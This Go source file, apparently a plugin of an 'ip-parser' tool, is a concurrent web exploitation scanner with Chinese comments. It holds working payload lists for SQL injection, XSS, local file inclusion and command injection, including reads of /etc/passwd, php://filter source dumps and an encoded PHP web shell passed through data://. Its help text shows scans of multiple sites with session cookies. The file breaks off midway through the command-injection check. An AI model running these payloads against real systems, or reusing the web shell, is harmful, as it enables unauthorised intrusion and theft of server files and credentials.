package plugins

import (
	"encoding/json"
	"fmt"
	"io"
	"io/ioutil"
	"ip-parser/internal/logger"
	"net/http"
	"strconv"
	"strings"
	"sync"
	"time"
)

// ExploitPlugin 漏洞利用插件
type ExploitPlugin struct {
	logger *logger.Logger
}

// NewExploitPlugin 创建新的漏洞利用插件
func NewExploitPlugin() *ExploitPlugin {
	return &ExploitPlugin{
		logger: logger.NewLogger(),
	}
}

// GetDescription 获取插件描述
func (p *ExploitPlugin) GetDescription() string {
	return "执行漏洞利用，包括SQL注入、XSS和文件包含等常见Web漏洞"
}

// GetRequiredParams 获取插件所需参数
func (p *ExploitPlugin) GetRequiredParams() []PluginParamInfo {
	return []PluginParamInfo{
		{
			Name:        "url",
			Description: "目标URL，多个URL用英文逗号分隔",
			Required:    true,
			Default:     "",
		},
		{
			Name:        "type",
			Description: "漏洞类型: sql(SQL注入), xss(跨站脚本), lfi(文件包含), cmd(命令注入), upload(文件上传), ssrf(服务端请求伪造), xxe(XML外部实体), all(全部检测)",
			Required:    true,
			Default:     "",
		},
		{
			Name:        "param",
			Description: "测试参数名，多个参数用英文逗号分隔",
			Required:    true,
			Default:     "",
		},
		{
			Name:        "concurrency",
			Description: "并发数，用于多URL或多payload并发测试",
			Required:    false,
			Default:     "5",
		},
		{
			Name:        "timeout",
			Description: "请求超时时间(秒)",
			Required:    false,
			Default:     "10",
		},
		{
			Name:        "output",
			Description: "结果输出文件路径",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "cookie",
			Description: "测试请求的Cookie",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "headers",
			Description: "自定义HTTP头，格式为'Name1:Value1,Name2:Value2'",
			Required:    false,
			Default:     "",
		},
	}
}

// Execute 执行漏洞利用
func (p *ExploitPlugin) Execute(args map[string]interface{}) error {
	// 如果args包含help参数，显示帮助信息
	if _, ok := args["help"]; ok {
		return p.showHelp()
	}
	if helpStr, ok := args["help"].(string); ok && helpStr == "true" {
		return p.showHelp()
	}

	// 获取目标URL
	urlInput, ok := args["url"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: url")
	}

	// 解析多个URL
	urls := strings.Split(urlInput, ",")
	for i := range urls {
		urls[i] = strings.TrimSpace(urls[i])
	}

	// 获取漏洞类型
	exploitType, ok := args["type"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: type")
	}

	// 获取参数名
	paramInput, ok := args["param"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: param")
	}

	// 解析多个参数
	params := strings.Split(paramInput, ",")
	for i := range params {
		params[i] = strings.TrimSpace(params[i])
	}

	// 获取并发数
	concurrency := 5 // 默认并发数
	if c, ok := args["concurrency"].(int); ok {
		concurrency = c
	} else if cStr, ok := args["concurrency"].(string); ok {
		// 尝试从字符串转换
		if cVal, err := strconv.Atoi(cStr); err == nil {
			concurrency = cVal
		}
	}

	// 获取超时时间
	timeout := 10 // 默认10秒
	if t, ok := args["timeout"].(int); ok {
		timeout = t
	} else if tStr, ok := args["timeout"].(string); ok {
		// 尝试从字符串转换
		if tVal, err := strconv.Atoi(tStr); err == nil {
			timeout = tVal
		}
	}

	// 获取Cookie
	cookie := ""
	if c, ok := args["cookie"].(string); ok {
		cookie = c
	}

	// 获取自定义HTTP头
	var customHeaders map[string]string
	if h, ok := args["headers"].(string); ok && h != "" {
		customHeaders = make(map[string]string)
		headerPairs := strings.Split(h, ",")
		for _, pair := range headerPairs {
			parts := strings.SplitN(pair, ":", 2)
			if len(parts) == 2 {
				customHeaders[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1])
			}
		}
	}

	// 获取输出文件路径
	outputFile := ""
	if o, ok := args["output"].(string); ok {
		outputFile = o
	}

	p.logger.Separator()
	p.logger.Info("开始漏洞利用任务")
	p.logger.Info("目标URL数量: %d", len(urls))
	p.logger.Info("漏洞类型: %s", exploitType)
	p.logger.Info("目标参数: %s", paramInput)
	p.logger.Info("并发数: %d", concurrency)
	p.logger.Info("超时时间: %d秒", timeout)
	if outputFile != "" {
		p.logger.Info("结果输出文件: %s", outputFile)
	}

	// 使用等待组和并发限制
	var wg sync.WaitGroup
	sem := make(chan struct{}, concurrency)

	// 创建结果通道
	type scanResult struct {
		url      string
		param    string
		err      error
		vulns    []string
		payloads []string
	}
	results := make(chan scanResult, len(urls)*len(params))

	// 根据漏洞类型执行不同的利用方法
	exploitTypeLC := strings.ToLower(exploitType)

	// 确定要执行的漏洞类型列表
	var vulnTypes []string
	if exploitTypeLC == "all" {
		vulnTypes = []string{"sql", "xss", "lfi", "cmd", "upload", "ssrf", "xxe"}
	} else {
		vulnTypes = []string{exploitTypeLC}
	}

	// 日志输出任务列表
	var targetCount int
	targetCount = len(urls) * len(params) * len(vulnTypes)
	p.logger.Info("总共需要执行 %d 个测试任务", targetCount)

	// 启动URL扫描协程
	for _, url := range urls {
		for _, param := range params {
			for _, vulnType := range vulnTypes {
				wg.Add(1)
				go func(targetURL, targetParam, targetVulnType string) {
					defer wg.Done()

					// 获取信号量，限制并发
					sem <- struct{}{}
					defer func() { <-sem }()

					var err error
					var vulns []string
					var successPayloads []string

					// 根据漏洞类型执行不同的利用方法
					switch targetVulnType {
					case "sql":
						vulns, successPayloads, err = p.executeSQLInjectionConcurrent(targetURL, targetParam, concurrency)
					case "xss":
						vulns, successPayloads, err = p.executeXSSConcurrent(targetURL, targetParam, concurrency)
					case "lfi", "file":
						vulns, successPayloads, err = p.executeFileInclusionConcurrent(targetURL, targetParam, concurrency)
					case "cmd":
						vulns, successPayloads, err = p.executeCommandInjection(targetURL, targetParam, cookie, customHeaders)
					case "upload":
						vulns, successPayloads, err = p.executeFileUpload(targetURL, targetParam, cookie, customHeaders)
					case "ssrf":
						vulns, successPayloads, err = p.executeSSRF(targetURL, targetParam, cookie, customHeaders)
					case "xxe":
						vulns, successPayloads, err = p.executeXXE(targetURL, targetParam, cookie, customHeaders)
					default:
						err = fmt.Errorf("不支持的漏洞类型: %s", targetVulnType)
					}

					// 发送结果
					results <- scanResult{
						url:      targetURL,
						param:    targetParam,
						err:      err,
						vulns:    vulns,
						payloads: successPayloads,
					}
				}(url, param, vulnType)
			}
		}
	}

	// 启动一个协程等待所有任务完成，并关闭结果通道
	go func() {
		wg.Wait()
		close(results)
	}()

	// 收集和显示所有结果
	allResults := []map[string]interface{}{}
	successCount := 0

	// 创建一个进度显示
	p.logger.Info("漏洞扫描中，请耐心等待...")
	processedCount := 0
	var resultsMutex sync.Mutex // 用于线程安全的更新结果

	for result := range results {
		resultsMutex.Lock()
		processedCount++

		// 只在10%的间隔显示进度
		if processedCount%(targetCount/10+1) == 0 || processedCount == targetCount {
			p.logger.Info("进度: %.1f%% (%d/%d)", float64(processedCount)/float64(targetCount)*100, processedCount, targetCount)
		}

		resultMap := map[string]interface{}{
			"url":      result.url,
			"param":    result.param,
			"vulns":    result.vulns,
			"payloads": result.payloads,
		}

		if result.err != nil {
			p.logger.Error("URL %s 参数 %s 扫描失败: %v", result.url, result.param, result.err)
			resultMap["error"] = result.err.Error()
			allResults = append(allResults, resultMap)
			resultsMutex.Unlock()
			continue
		}

		if len(result.vulns) > 0 {
			p.logger.Success("URL %s 参数 %s 存在 %d 个漏洞", result.url, result.param, len(result.vulns))
			for i, vuln := range result.vulns {
				p.logger.Warning("  漏洞 #%d: %s", i+1, vuln)
				if i < len(result.payloads) {
					p.logger.Info("    Payload: %s", result.payloads[i])
				}
			}
			successCount++
		}

		allResults = append(allResults, resultMap)
		resultsMutex.Unlock()
	}

	// 如果指定了输出文件，保存结果
	if outputFile != "" {
		// 生成结果报告
		report := map[string]interface{}{
			"scan_time":           time.Now().Format(time.RFC3339),
			"target_urls":         urls,
			"vulnerability_types": vulnTypes,
			"parameters":          params,
			"concurrency":         concurrency,
			"results":             allResults,
			"total_vulns":         successCount,
		}

		// 转换为JSON
		jsonData, err := json.MarshalIndent(report, "", "  ")
		if err != nil {
			p.logger.Error("生成JSON报告失败: %v", err)
		} else {
			// 写入文件
			err = ioutil.WriteFile(outputFile, jsonData, 0644)
			if err != nil {
				p.logger.Error("写入结果文件失败: %v", err)
			} else {
				p.logger.Success("漏洞扫描结果已保存至: %s", outputFile)

				// 如果文件名以.html结尾，也生成HTML报告
				if strings.HasSuffix(outputFile, ".html") || strings.HasSuffix(outputFile, ".htm") {
					p.logger.Info("生成HTML漏洞报告...")
					htmlReport := p.generateHTMLReport(report)
					err = ioutil.WriteFile(outputFile, []byte(htmlReport), 0644)
					if err != nil {
						p.logger.Error("写入HTML报告失败: %v", err)
					} else {
						p.logger.Success("HTML漏洞报告已保存至: %s", outputFile)
					}
				} else {
					// 自动生成额外的HTML报告，文件名为原文件名加.html
					htmlFile := outputFile + ".html"
					p.logger.Info("生成HTML漏洞报告...")
					htmlReport := p.generateHTMLReport(report)
					err = ioutil.WriteFile(htmlFile, []byte(htmlReport), 0644)
					if err != nil {
						p.logger.Error("写入HTML报告失败: %v", err)
					} else {
						p.logger.Success("HTML漏洞报告已保存至: %s", htmlFile)
					}
				}
			}
		}
	}

	// 扫描结果统计
	p.logger.Separator()
	p.logger.Info("漏洞扫描统计信息:")
	p.logger.Info("--------------------")
	p.logger.Info("总测试目标数: %d", len(urls))
	p.logger.Info("测试参数数量: %d", len(params))
	p.logger.Info("执行的测试类型: %s", strings.Join(vulnTypes, ", "))
	p.logger.Info("总共执行的测试任务: %d", targetCount)

	if successCount > 0 {
		p.logger.Success("发现存在漏洞的目标数: %d (%.1f%%)", successCount, float64(successCount)/float64(len(urls)*len(params))*100)
	} else {
		p.logger.Info("未发现漏洞")
	}
	p.logger.Info("--------------------")
	p.logger.Success("漏洞扫描任务完成")

	return nil
}

// generateHTMLReport 生成HTML格式的漏洞报告
func (p *ExploitPlugin) generateHTMLReport(report map[string]interface{}) string {
	scanTime, _ := report["scan_time"].(string)
	urls, _ := report["target_urls"].([]string)
	results, _ := report["results"].([]map[string]interface{})
	totalVulns, _ := report["total_vulns"].(int)

	// 生成HTML报告头部
	html := `<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>漏洞扫描报告</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background-color: #f5f5f5; }
        .container { max-width: 1200px; margin: 0 auto; background-color: #fff; padding: 20px; border-radius: 5px; }
        h1 { text-align: center; border-bottom: 2px solid #3498db; }
        .summary { background-color: #f0f7fb; padding: 15px; border-left: 5px solid #3498db; }
        .vuln-item { border: 1px solid #ddd; margin-bottom: 15px; padding: 15px; }
        .vuln-item.vulnerable { border-left: 5px solid #e74c3c; }
        .vuln-item.safe { border-left: 5px solid #2ecc71; }
        .vuln-title { font-weight: bold; color: #e74c3c; }
        .safe-title { font-weight: bold; color: #2ecc71; }
        .payload { font-family: monospace; background-color: #f8f8f8; padding: 8px; border-left: 3px solid #e74c3c; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 10px; border: 1px solid #ddd; text-align: left; }
        th { background-color: #3498db; color: white; }
    </style>
</head>
<body>
    <div class="container">
        <h1>漏洞扫描报告</h1>
        <div class="summary">
            <h2>扫描摘要</h2>
            <p><strong>扫描时间:</strong> ` + scanTime + `</p>
            <p><strong>目标数量:</strong> ` + strconv.Itoa(len(urls)) + `</p>
            <p><strong>漏洞数量:</strong> ` + strconv.Itoa(totalVulns) + `</p>
        </div>`

	// 添加详细结果
	for _, result := range results {
		url, _ := result["url"].(string)
		param, _ := result["param"].(string)
		vulns, vulnsExist := result["vulns"].([]string)
		payloads, payloadsExist := result["payloads"].([]string)

		if vulnsExist && len(vulns) > 0 {
			html += `<div class="vuln-item vulnerable">
            <h3 class="vuln-title">发现漏洞: ` + url + ` (参数: ` + param + `)</h3><ul>`

			for i, vuln := range vulns {
				html += "<li>" + vuln
				if payloadsExist && i < len(payloads) {
					html += "<div class=\"payload\">" + payloads[i] + "</div>"
				}
				html += "</li>"
			}

			html += `</ul></div>`
		} else {
			html += `<div class="vuln-item safe">
            <h3 class="safe-title">未发现漏洞: ` + url + ` (参数: ` + param + `)</h3>
            <p>该目标未检测到漏洞。</p></div>`
		}
	}

	html += `</div></body></html>`
	return html
}

// showHelp 显示插件帮助信息
func (p *ExploitPlugin) showHelp() error {
	p.logger.Separator()
	p.logger.Info("漏洞利用插件帮助文档")
	p.logger.Info("========================================")
	p.logger.Info("功能: 执行Web应用漏洞检测，包括SQL注入、XSS、文件包含等漏洞")
	p.logger.Info("========================================")

	// 使用固定宽度格式化输出
	p.logger.Info("使用方法:")
	p.logger.Info("  exploit -url <目标URL> -type <漏洞类型> -param <参数名>")
	p.logger.Info("")

	p.logger.Info("参数说明:")
	p.logger.Info("%-12s %-8s %-65s %s", "参数名", "必需", "说明", "默认值")
	p.logger.Info("--------------------------------------------------------")
	p.logger.Info("%-12s %-8s %-65s %s", "url", "是", "目标URL，多个URL用英文逗号分隔", "")
	p.logger.Info("%-12s %-8s %-65s %s", "type", "是", "漏洞类型，支持sql/xss/lfi/cmd/upload/ssrf/xxe/all", "")
	p.logger.Info("%-12s %-8s %-65s %s", "param", "是", "测试参数名，多个参数用英文逗号分隔", "")
	p.logger.Info("%-12s %-8s %-65s %s", "concurrency", "否", "并发数", "5")
	p.logger.Info("%-12s %-8s %-65s %s", "timeout", "否", "请求超时时间(秒)", "10")
	p.logger.Info("%-12s %-8s %-65s %s", "output", "否", "结果输出文件路径", "")
	p.logger.Info("%-12s %-8s %-65s %s", "cookie", "否", "请求Cookie", "")
	p.logger.Info("%-12s %-8s %-65s %s", "headers", "否", "自定义HTTP头，格式为'Name1:Value1,Name2:Value2'", "")
	p.logger.Info("--------------------------------------------------------")
	p.logger.Info("")

	p.logger.Info("漏洞类型说明:")
	p.logger.Info("%-8s : %s", "sql", "SQL注入，通过插入恶意SQL代码执行未经授权的数据库操作")
	p.logger.Info("%-8s : %s", "xss", "跨站脚本，在用户浏览器中执行恶意JavaScript代码")
	p.logger.Info("%-8s : %s", "lfi", "本地文件包含，访问服务器上的敏感文件")
	p.logger.Info("%-8s : %s", "cmd", "命令注入，在服务器上执行未经授权的系统命令")
	p.logger.Info("%-8s : %s", "upload", "文件上传漏洞，上传和执行恶意文件")
	p.logger.Info("%-8s : %s", "ssrf", "服务端请求伪造，使服务器访问内部资源")
	p.logger.Info("%-8s : %s", "xxe", "XML外部实体注入，读取服务器敏感文件或执行SSRF")
	p.logger.Info("%-8s : %s", "all", "执行所有类型的漏洞扫描")
	p.logger.Info("")

	p.logger.Info("参数选择指南:")
	p.logger.Info("1. URL参数: 填写需要测试的目标URL")
	p.logger.Info("   - 单个目标: http://example.com/page.php")
	p.logger.Info("   - 多个目标: http://example.com/page.php,http://example.com/admin.php")
	p.logger.Info("")

	p.logger.Info("2. 参数名(param): 填写可能存在漏洞的参数")
	p.logger.Info("   - SQL注入常见参数: id, uid, user_id, product_id")
	p.logger.Info("   - XSS常见参数: q, search, message, comment, content")
	p.logger.Info("   - 文件包含常见参数: file, page, include, path, template")
	p.logger.Info("   - 命令注入常见参数: cmd, command, exec, action, run")
	p.logger.Info("   - 多个参数示例: id,uid,page (将依次测试每个参数)")
	p.logger.Info("")

	p.logger.Info("3. 扫描结果解读:")
	p.logger.Info("   - 成功检测到漏洞时会显示绿色成功信息")
	p.logger.Info("   - 会输出有效的payload和漏洞详情")
	p.logger.Info("   - 使用-output参数可以导出详细的JSON或HTML报告")
	p.logger.Info("")

	p.logger.Info("4. 日志输出优化:")
	p.logger.Info("   - 日志输出已优化，减少冗余信息，提高可读性")
	p.logger.Info("   - 测试过程中只在开始时打印一次日志，不再重复显示每个Payload的测试信息")
	p.logger.Info("   - 显示进度百分比，便于了解扫描进度")
	p.logger.Info("   - 漏洞检测结果会清晰标注，使用不同颜色区分成功、警告和错误信息")
	p.logger.Info("   - 测试完成后会显示统计信息，包括测试目标数、参数数和发现的漏洞数量")
	p.logger.Info("")

	p.logger.Info("实际使用案例:")
	p.logger.Info("1. 基本SQL注入测试:")
	p.logger.Info("   exploit -url http://vulnerable-site.com/product.php -type sql -param id")
	p.logger.Info("")

	p.logger.Info("2. 多参数XSS测试:")
	p.logger.Info("   exploit -url http://vulnerable-site.com/search.php -type xss -param q,search,query")
	p.logger.Info("")

	p.logger.Info("3. 文件包含漏洞测试并生成报告:")
	p.logger.Info("   exploit -url http://vulnerable-site.com/page.php -type lfi -param file -output report.json")
	p.logger.Info("")

	p.logger.Info("4. 带认证的完整扫描:")
	p.logger.Info("   exploit -url http://vulnerable-site.com/admin/ -type all -param id,file,cmd")
	p.logger.Info("   -cookie 'session=1234abcd' -headers 'Authorization:Bearer token123'")
	p.logger.Info("")

	p.logger.Info("5. 多目标并发扫描:")
	p.logger.Info("   exploit -url http://site1.com/page.php,http://site2.com/page.php")
	p.logger.Info("   -type sql -param id -concurrency 10 -output scan_results.html")
	p.logger.Info("")

	p.logger.Separator()

	return nil
}

// executeSQLInjectionConcurrent 并发执行SQL注入测试
func (p *ExploitPlugin) executeSQLInjectionConcurrent(url, param string, concurrency int) ([]string, []string, error) {
	// SQL注入测试向量
	payloads := []string{
		"' OR '1'='1",
		"' OR '1'='1' --",
		"' OR '1'='1' #",
		"' OR '1'='1'/*",
		"1' OR '1'='1",
		"1' OR '1'='1' --",
		"1' OR '1'='1' #",
		"1' OR '1'='1'/*",
		"admin' --",
		"admin' #",
		"admin'/*",
		"' UNION SELECT 1,2,3,4,5 --",
		"' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables --",
		"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --",
		"' AND SLEEP(5) --",
		"'; WAITFOR DELAY '0:0:5' --",
	}

	// 只在测试开始时打印一次日志，不再每个协程中重复打印
	p.logger.Info("[SQL注入] 开始测试 URL: %s 参数: %s 使用 %d 个Payload", url, param, len(payloads))

	var vulns []string
	var successPayloads []string
	var mutex sync.Mutex

	// 设置实际并发数，不超过payload数量
	actualConcurrency := concurrency
	if len(payloads) < concurrency {
		actualConcurrency = len(payloads)
	}

	// 使用等待组和并发限制
	var wg sync.WaitGroup
	sem := make(chan struct{}, actualConcurrency)

	// 为每个payload启动一个协程
	for _, payload := range payloads {
		wg.Add(1)
		go func(p_payload string) {
			defer wg.Done()

			// 获取信号量，限制并发
			sem <- struct{}{}
			defer func() { <-sem }()

			fullURL := p.constructURL(url, param, p_payload)

			// 构造请求
			req, err := http.NewRequest("GET", fullURL, nil)
			if err != nil {
				return
			}

			// 添加浏览器UA
			req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")

			// 发送请求
			startTime := time.Now()
			resp, err := http.DefaultClient.Do(req)
			execTime := time.Since(startTime)

			if err != nil {
				return
			}

			defer resp.Body.Close()

			// 读取响应内容
			body, err := io.ReadAll(resp.Body)
			if err != nil {
				return
			}
			bodyText := string(body)

			// 检查响应特征
			result := ""
			success := false

			// 检查SQL错误信息
			sqlErrors := []string{
				"SQL syntax", "mysql_fetch_array", "You have an error in your SQL syntax",
				"ORA-", "Oracle Error", "Microsoft SQL Server", "ODBC Driver",
				"PostgreSQL", "Supplied argument is not a valid PostgreSQL",
				"SQLite", "sqlite_", "Warning: SQLite3::", "Warning: sqlite_",
			}

			for _, errText := range sqlErrors {
				if strings.Contains(bodyText, errText) {
					result = "发现SQL错误: " + errText
					success = true
					break
				}
			}

			// 检查响应时间（时间盲注）
			if execTime > 4*time.Second && strings.Contains(p_payload, "SLEEP") {
				result = "时间盲注成功 (响应时间: " + execTime.String() + ")"
				success = true
			}

			// 检查内容变化
			if resp.StatusCode == 200 && (strings.Contains(bodyText, "admin") ||
				strings.Contains(bodyText, "password") ||
				strings.Contains(bodyText, "username") ||
				strings.Contains(bodyText, "mysql") ||
				strings.Contains(bodyText, "version()")) {
				result = "可能存在SQL注入，返回敏感内容"
				success = true
			}

			if success {
				mutex.Lock()
				vulns = append(vulns, result)
				successPayloads = append(successPayloads, p_payload)
				mutex.Unlock()
			}
		}(payload)
	}

	// 等待所有测试完成
	wg.Wait()

	return vulns, successPayloads, nil
}

// executeXSSConcurrent 并发执行XSS测试
func (p *ExploitPlugin) executeXSSConcurrent(url, param string, concurrency int) ([]string, []string, error) {
	// XSS测试向量
	payloads := []string{
		"<script>alert(1)</script>",
		"\"><script>alert(1)</script>",
		"'><script>alert(1)</script>",
		"<script>alert(document.cookie)</script>",
		"<img src=\"x\" onerror=\"alert(1)\">",
		"\"><img src=\"x\" onerror=\"alert(1)\">",
		"'><img src=\"x\" onerror=\"alert(1)\">",
		"<svg onload=\"alert(1)\">",
		"javascript:alert(1)",
		"<body onload=\"alert(1)\">",
		"<iframe src=\"javascript:alert(1)\">",
		"'\"()&%<acx><ScRiPt>alert(1)</ScRiPt>",
		"';alert(1);//",
		"\";alert(1);//",
		"onmouseover=alert(1)//",
	}

	// 只在测试开始时打印一次日志
	p.logger.Info("[XSS] 开始测试 URL: %s 参数: %s 使用 %d 个Payload", url, param, len(payloads))

	var vulns []string
	var successPayloads []string
	var mutex sync.Mutex

	// 设置实际并发数，不超过payload数量
	actualConcurrency := concurrency
	if len(payloads) < concurrency {
		actualConcurrency = len(payloads)
	}

	// 使用等待组和并发限制
	var wg sync.WaitGroup
	sem := make(chan struct{}, actualConcurrency)

	// 为每个payload启动一个协程
	for _, payload := range payloads {
		wg.Add(1)
		go func(p_payload string) {
			defer wg.Done()

			// 获取信号量，限制并发
			sem <- struct{}{}
			defer func() { <-sem }()

			fullURL := p.constructURL(url, param, p_payload)

			// 构造请求
			req, err := http.NewRequest("GET", fullURL, nil)
			if err != nil {
				return
			}

			// 添加浏览器UA
			req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
			req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml")

			// 发送请求
			resp, err := http.DefaultClient.Do(req)
			if err != nil {
				return
			}

			defer resp.Body.Close()

			// 读取响应内容
			body, err := io.ReadAll(resp.Body)
			if err != nil {
				return
			}
			bodyText := string(body)

			// 检查是否存在XSS漏洞
			// XSS漏洞特征是输入的脚本标签或事件处理器出现在响应中，且没有被转义
			success := false
			result := ""

			// 检查payload是否原样返回(未被转义)
			cleanPayload := strings.ReplaceAll(p_payload, "\"", "&quot;")
			cleanPayload = strings.ReplaceAll(cleanPayload, "<", "&lt;")
			cleanPayload = strings.ReplaceAll(cleanPayload, ">", "&gt;")
			cleanPayload = strings.ReplaceAll(cleanPayload, "'", "&#39;")

			if strings.Contains(bodyText, p_payload) && !strings.Contains(bodyText, cleanPayload) {
				// 可能存在漏洞，检查更具体的特征
				if strings.Contains(p_payload, "<script>") && strings.Contains(bodyText, "<script>") {
					result = "检测到可能的XSS漏洞(script标签未被过滤)"
					success = true
				} else if strings.Contains(p_payload, "onerror") && strings.Contains(bodyText, "onerror") {
					result = "检测到可能的XSS漏洞(事件处理器未被过滤)"
					success = true
				} else if strings.Contains(p_payload, "onload") && strings.Contains(bodyText, "onload") {
					result = "检测到可能的XSS漏洞(onload事件未被过滤)"
					success = true
				} else if strings.Contains(p_payload, "javascript:") && strings.Contains(bodyText, "javascript:") {
					result = "检测到可能的XSS漏洞(javascript协议未被过滤)"
					success = true
				} else {
					result = "可能存在XSS漏洞(输入未被适当转义)"
					success = true
				}
			}

			if success {
				mutex.Lock()
				vulns = append(vulns, result)
				successPayloads = append(successPayloads, p_payload)
				mutex.Unlock()
			}
		}(payload)
	}

	// 等待所有测试完成
	wg.Wait()

	return vulns, successPayloads, nil
}

// executeFileInclusionConcurrent 并发执行文件包含测试
func (p *ExploitPlugin) executeFileInclusionConcurrent(url, param string, concurrency int) ([]string, []string, error) {
	// 文件包含测试向量
	payloads := []string{
		"/etc/passwd",
		"../../../../../etc/passwd",
		"....//....//....//....//....//etc/passwd",
		"../../../../../../../../etc/passwd",
		"/etc/hosts",
		"../../../../../etc/hosts",
		"../../../../../../../../../etc/hosts",
		"/proc/self/environ",
		"../../../../../proc/self/environ",
		"/windows/win.ini",
		"../../../../../windows/win.ini",
		"C:/Windows/win.ini",
		"php://filter/convert.base64-encode/resource=index.php",
		"php://filter/convert.base64-encode/resource=../index.php",
		"php://filter/convert.base64-encode/resource=../../index.php",
		"php://input",
		"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=", // <?php system($_GET['cmd']);?>
		"expect://id",
	}

	// 只在测试开始时打印一次日志
	p.logger.Info("[文件包含] 开始测试 URL: %s 参数: %s 使用 %d 个Payload", url, param, len(payloads))

	var vulns []string
	var successPayloads []string
	var mutex sync.Mutex

	// 设置实际并发数，不超过payload数量
	actualConcurrency := concurrency
	if len(payloads) < concurrency {
		actualConcurrency = len(payloads)
	}

	// 使用等待组和并发限制
	var wg sync.WaitGroup
	sem := make(chan struct{}, actualConcurrency)

	// 为每个payload启动一个协程
	for _, payload := range payloads {
		wg.Add(1)
		go func(p_payload string) {
			defer wg.Done()

			// 获取信号量，限制并发
			sem <- struct{}{}
			defer func() { <-sem }()

			fullURL := p.constructURL(url, param, p_payload)

			// 构造请求
			req, err := http.NewRequest("GET", fullURL, nil)
			if err != nil {
				return
			}

			// 添加浏览器UA
			req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")

			// 发送请求
			resp, err := http.DefaultClient.Do(req)
			if err != nil {
				return
			}

			defer resp.Body.Close()

			// 读取响应内容
			body, err := io.ReadAll(resp.Body)
			if err != nil {
				return
			}
			bodyText := string(body)

			// 检查是否存在文件包含漏洞
			success := false
			result := ""

			// 检查是否包含敏感文件内容特征
			sensitivePatterns := map[string]string{
				"root:":                  "疑似包含/etc/passwd文件",
				"localhost":              "疑似包含/etc/hosts文件",
				"DOCUMENT_ROOT":          "疑似包含环境变量",
				"HTTP_USER_AGENT":        "疑似包含环境变量",
				"ALLUSERSPROFILE":        "疑似包含Windows系统信息",
				"Windows Registry":       "疑似包含Windows配置信息",
				"for 16-bit app support": "疑似包含Windows配置信息",
				"uid=":                   "疑似包含Linux系统用户信息",
				"gid=":                   "疑似包含Linux系统用户信息",
				"PK\x03\x04":             "疑似包含ZIP文件头",
				"ELF":                    "疑似包含二进制可执行文件",
				"<html":                  "疑似包含HTML代码",
				"<?php":                  "疑似包含PHP代码",
				"<?xml":                  "疑似包含XML数据",
			}

			for pattern, description := range sensitivePatterns {
				if strings.Contains(bodyText, pattern) {
					result = description
					success = true
					break
				}
			}

			// 检查Base64编码的PHP过滤器结果
			if strings.Contains(p_payload, "php://filter") && len(bodyText) > 0 {
				// 尝试识别base64编码的响应
				if strings.HasPrefix(strings.TrimSpace(bodyText), "PD") || strings.HasPrefix(strings.TrimSpace(bodyText), "Tk") {
					result = "PHP过滤器成功，返回了可能的Base64编码内容"
					success = true
				}
			}

			if success {
				mutex.Lock()
				vulns = append(vulns, result)
				successPayloads = append(successPayloads, p_payload)
				mutex.Unlock()
			}
		}(payload)
	}

	// 等待所有测试完成
	wg.Wait()

	return vulns, successPayloads, nil
}

// constructURL 构造测试URL
func (p *ExploitPlugin) constructURL(baseURL, param, value string) string {
	// 检查URL是否已经包含查询参数
	if strings.Contains(baseURL, "?") {
		if strings.HasSuffix(baseURL, "&") || strings.HasSuffix(baseURL, "?") {
			return baseURL + param + "=" + value
		} else {
			return baseURL + "&" + param + "=" + value
		}
	} else {
		return baseURL + "?" + param + "=" + value
	}
}

// executeCommandInjection 执行命令注入测试
func (p *ExploitPlugin) executeCommandInjection(url, param string, cookie string, headers map[string]string) ([]string, []string, error) {
	// 命令注入测试向量
	payloads := []string{
		";id",
		"| id",
		"`id`",
		"$(id)",
		"; ls -la",
		"| ls -la",
		"`ls -la`",
		"$(ls -la)",
		"; cat /etc/passwd",
		"| cat /etc/passwd",
		"`cat /etc/passwd`",
		"$(cat /etc/passwd)",
		"; whoami",
		"| whoami",
		"`whoami`",
		"$(whoami)",
		"; ping -c 1 127.0.0.1",
		"| ping -c 1 127.0.0.1",
		"& ping -c 1 127.0.0.1 &",
		"&& ping -c 1 127.0.0.1",
		"; sleep 5",
		"| sleep 5",
		"` sleep 5`",
		"$( sleep 5)",
	}

	// 只在测试开始时打印一次日志
	p.logger.Info("[命令注入] 开始测试 URL: %s 参数: %s 使用 %d 个Payload", url, param, len(payloads))

	var vulns []string
	var successPayloads []string
	var mutex sync.Mutex

	// 使用等待组
	var wg sync.WaitGroup

	// 为每个payload启动一个协程
	for _, payload := range payloads {
		wg.Add(1)
		go func(p_payload string) {
			defer wg.Done()

			fullURL := p.constructURL(url, param, p_payload)

			// 构造请求
			req, err := http.NewRequest("GET", fullURL, nil)
			if err != nil {
				return
			}

			// 添加浏览器UA
			req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")

			// 添加自定义HTTP头
			for name, value := range headers {
				req.Header.Set(name, value)
			}

			// 添加Cookie
			if cookie != "" {
				req.Header.Set("Cookie", cookie)
			}

			// 发送请求
			startTime := time.Now()
			resp, err := http.DefaultClient.Do(req)
			execTime := time.Since(startTime)
			if err != nil {
				return
			}

			defer resp.Body.Close()

			// 读取响应内容
			body, err := io.ReadAll(resp.Body)
			if err != nil {
				return
			}
			bodyText := string(body)

			// 检查命令执行特征
			success := false
			result := ""

			// 检查Unix系统命令输出特征
			cmdOutputPatterns := []string{
				"uid=", "gid=", "groups=", // id命令输出
				"total", "drwx", "-rwx", "-rw-", // ls -la输出
				"root:x:", "nobody:x:", // /etc/passwd内容
				"bytes from", "icmp_seq=", "ttl=", // ping输出
			}

			for _, pattern := range cmdOutputPatterns {
				if strings.Contains(bodyText, pattern) {
